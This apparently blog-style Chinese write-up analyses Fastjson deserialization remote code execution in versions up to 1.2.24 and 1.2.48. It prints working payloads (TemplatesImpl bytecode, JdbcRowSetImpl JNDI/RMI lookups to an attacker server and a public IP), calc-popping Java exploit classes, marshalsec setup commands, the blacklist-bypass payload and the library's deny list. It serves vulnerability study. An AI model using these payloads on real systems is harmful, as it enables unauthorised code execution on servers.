重要漏洞利用poc及版本
我是從github
上的參考中直接copy
的exp
,這個類就是要注入的類
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit() {
try{
// 要執行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
網上經常分析的17年的一個遠程代碼執行漏洞
適用范圍 版本 <= 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的繞過方法
適用范圍 版本 <= 1.2.48
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
預備知識
使用spring boot
來搭建本次的環境,這樣對java的版本和fastjson版本的修改十分的輕松,選取的依賴如下
使用的是fastjson 1.2.24
版本
寫一個像javabean一樣作用的類
這里直接用參考的一篇freebuf上的代碼了,作用很簡單,設置了age
,username
的設置和讀取,secret
的讀取
package com.fastjson.demo;
class Demo2User {
private int age;
public String username;
private String secret;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getSecret() {
return secret;
}
@Override
public String toString() {
return this.age + "," + this.username + "," + this.secret;
}
}
fastjson的工作形式
fastjson
的功能就是將json
格式轉換為類、字符串等供下一步代碼的調用,或者將類、字符串等數據轉換成json
數據進行傳輸,有點類似序列化的操作
首先介紹下序列化
操作和反序列化
操作需要的函數
函數 | 作用 |
---|---|
JSON.toJSONString(Object) | 將對象序列化成json 格式 |
JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 將對象序列化成json 格式,並且記錄了對象所屬的類的信息 |
JSON.parse(Json) | 將json 格式返回為對象(但是反序列化類對象沒有@Type時會報錯) |
JSON.parseObject(Json) | 返回對象是com.alibaba.fastjson.JSONObject 類 |
JSON.parseObject(Json, Object.class) | 返回對象會根據json 中的@Type來決定 |
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); | 會把Json數據對應的類中的私有成員也給還原 |
對應測試的例子,代碼如下
public class Demo2test1 {
public static void main(String[] args){
Demo2User demo2User = new Demo2User();
demo2User.setAge(10);
demo2User.setUsername("sijidou");
String ser1 = JSON.toJSONString(demo2User);
System.out.println(ser1);
String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
System.out.println(ser2);
System.out.println("==========完美的分割線============");
Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
System.out.println(demo2User1);
Object demo2User2 = JSON.parseObject(ser2);
System.out.println(demo2User2.getClass().getName());
Object demo2User3 = JSON.parseObject(ser2, Object.class);
System.out.println(demo2User3);
Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
System.out.println(demo2User4);
}
}
可以從上面簡單的函數介紹中看出,對於序列化成json
格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)
更加方便
而從json
反序列回來,一般用JSON.parseObject()
來實現
漏洞利用
對於 fastjson版本 <= 1.2.24
的情況,利用思路主要有2種
- 通過觸發點
JSON.parseObject()
這個函數,將json
中的類設置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
並通過特意構造達到命令執行 - 通過
JNDI注入
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl類
,而這個類有一個字段就是_bytecodes
,有部分函數會根據這個_bytecodes
生成java實例,這就達到fastjson通過字段傳入一個類
,再通過這個類被生成時執行構造函數。
首選准備好poc,也就是之后會裝到_bytecodes
里面的內容,本地測試是windows系統,所以直接彈計算器,用java運行一下,就會生成poc.class
文件
package com.fastjson.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class poc extends AbstractTranslet {
public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
poc t = new poc();
}
}
拿到這個文件,將其內容進行base64編碼,我拿vulhub
上用php寫的exploit.php
改了改
<?php
$bytes = file_get_contents('poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
echo $json;
同目錄下運行
准備下接受的代碼,我從vulhub
上的fastjson
項目進行修改的,使代碼更加簡潔,邏輯很簡單從post的body中的數據進行fastjson
的序列化
public class Demo3{
public void init()
{
get("/", (req, res) -> "Hello World");
post("/", (request, response) -> {
String data = request.body();
JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
return "122";
});
}
public static void main(String[] args)
{
Demo3 i = new Demo3();
i.init();
}
}
運行下能夠成功觸發計算器
漏洞分析
debug跟蹤下堆棧看看發生了什么
最先肯定是傳入點JSON.parseObject(data, Feature.SupportNonPublicField);
接口,這個漏洞利用方法必須要存在Feature.SupportNonPublicField
設置(即允許private對象傳入)
接下來會到JSON
類中,發現JSON.parseObject()
其實是調用了JSON.parse()
下一步會進到這個函數里,是對可控長度變量的分析,這里也就是Feature.SupportNonPublicField
的開啟識別
調用parse(String text, int features)
,繼續執行parser.parse()
接口
之后進入DeafultJSONParser.java
通過switch判斷,進入到LBRACE
中
繼續跟進會調用deserializer.deserialze(this, clazz, fieldName)
進入了JavaBeanDeserializer.java
中,這段主要是進行反序列化操作了
之后會進入到DefaultFieldDeserializer.java
中調用setValue
來設置參數了
設置參數是會調用FieldDeserializer.java
中的setValue
,已經可以看到Method
方法,標志着這里觸發反射
前面的參數會不滿足if(method != null)
的判斷,到outputProperties
的時候,因為它是個類,存在method
,於是進入if
分支
最終到了觸發點,invoke
單步跟蹤2次,是對_bytecodes
中的base64,對應的.class
文件中的類進行還原,然后觸發構造函數中的代碼執行,觸發計算器
這里單步跟蹤2次時候沒有任何反應,之后發現是沒對com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
類沒進行下載,並且沒有進行下斷點.....
那么在這個點繼續跟進,首先仔細看上面反射調用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
進TemplatesImpl
類里面對getOutputProperties()
下斷點
繼續跟蹤newTransformer()
方法,看名字就是新生成一個Transformer
在第486行調用了getTransletInstance()
方法,之后進入getTransletInstance()
方法中
因為我們精心構造的exp里面沒有__class
成員變量,所以會觸發defineTransletClasses()
方法,跟進
進入后是對 _bytecodes字段進行base64解碼后還原這個class
,之后就出來回到了getTransletInstance()
可以看到455行的translet
被賦值成class.com.fastjson.demo.poc
也就是我們構造的的poc類
,在456行進行初始化的時候,觸發代碼執行
通過jndi注入
jndi
是一個Java命令和目錄接口,舉個例子,通過jndi
進行數據庫操作,無需知道它數據庫是mysql
還是ssql
,還是MongoDB
等,它會自動識別。
當然rmi
也可以通過jndi
實現,rmi
的作用相當於在服務器上創建了類的倉庫的api
,客戶端只用帶着參數去請求,服務器進行一系列處理后,把運算后的參數還回來。
這里漏洞利用要明確思路:
攻擊者在本地啟一個rmi
的服務器,上面掛上惡意的payload
讓被攻擊的目標反序列化特定的類,這個類最終會調用lookup()
函數,導致jndi
接口指向我們的rmi服務器
上的惡意payload
利用方法
在本地掛上惡意代碼執行的類,本地復現到了實際中又因為要公網ip所以要重新部署,所以我這里就直接把惡意的Exp
和rmi
服務器都放在vps上了
准備Exp
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
public Exp() {
try{
// 要執行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exp e = new Exp();
}
}
編譯一下
javac Exp.java
在本地啟動rmi
服務器,這里推薦github上的一個項目marshalsec
https://github.com/mbechler/marshalsec
需要用maven進行生成jar包,進入marshalsec
目錄后
git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
之后使用過的是這個包,可以移動到仍意目錄都可以
接下來就是啟動rmi
服務器了,這里要做2個步驟
第一使用python的SimpleHTTPServer
模塊在剛剛編譯好的Exp.class
目錄下開一個web服務
python -m SimpleHTTPServer 8000
訪問下網頁是能看到的
之后利用marshalsec
,啟動rmi
服務,再開一個shell
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://mi0.xyz:8000/#Exp
萬事已經准備好了,接下來只要在被攻擊的目標(這里是本機)發送python進JSON.parse()
就會觸發
import com.alibaba.fastjson.JSON;
public class poc {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
成功彈出計算器
之前一直嘗試不成功,改了下jre
的版本為1.8_102能夠觸發
1.2.25之后修復方案
在1.2.25之后,在ParserConfig.java
中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)
過濾的函數
注意其中的這一段,如果類的名字開頭在deny名單里面,就直接拋出錯誤了
看看denyList
的名單
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
最新fastjson繞過黑名單REC
- 此次漏洞危害范圍是
fastjson
<= 1.2.48
vps
上的准備方法和上面講到的jndi
注入是一樣的,唯一的區別在於發送的payload不同,以下payload可以繞過黑名單校驗
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
實現原理是利將JdbcRowSetImpl
類加入到mappings
的緩存,在JdbcRowSetImpl
類進入黑名單過濾之前,fastjson
會先看緩存里面有沒有這個類,有的話,就直接返回了。也就是沒有走進黑名單過濾,就結束了check
我們把上面的payload發送到fastjson
1.2.25版本中,走到了checkAutoType()
的位置
進入函數,很明顯java.lang.Class
不在黑名單內
順利通過
接下來會加載java.lang.Class
類
跟進之后,在這里把JdbcRowSetImpl
類付給了objVal
變量
在這里將剛剛objVal
的值賦值給了strVal
接下來調用了loadClass
跟進loadClass
,首先查看JdbcRowSetImpl
類是不是在mappings
中
這里當然是不在的,因此把JdbcRowSetImpl
類加入到該mappings
中
之后在回到對JdbcRowSetImpl
類的檢驗地方了
跟進進入,到這里會根據類名從mapping
中取出對象,很明顯,剛剛是把JdbcRowSetImpl
類是加入到mappings
中的,因此是可以取出來
之后會根據取出的值是否為null
進行判斷,通過下圖,已經看到在黑名單前,就返回了
之后可以看到類JdbcRowSetImpl
已經過了該限制了
打一波,成功觸發
參考鏈接
https://www.freebuf.com/vuls/178012.html
https://www.cnblogs.com/mrchang/p/6789060.html
https://www.cnblogs.com/hac425/p/9800288.html
https://www.jianshu.com/p/2bc43d16a3a6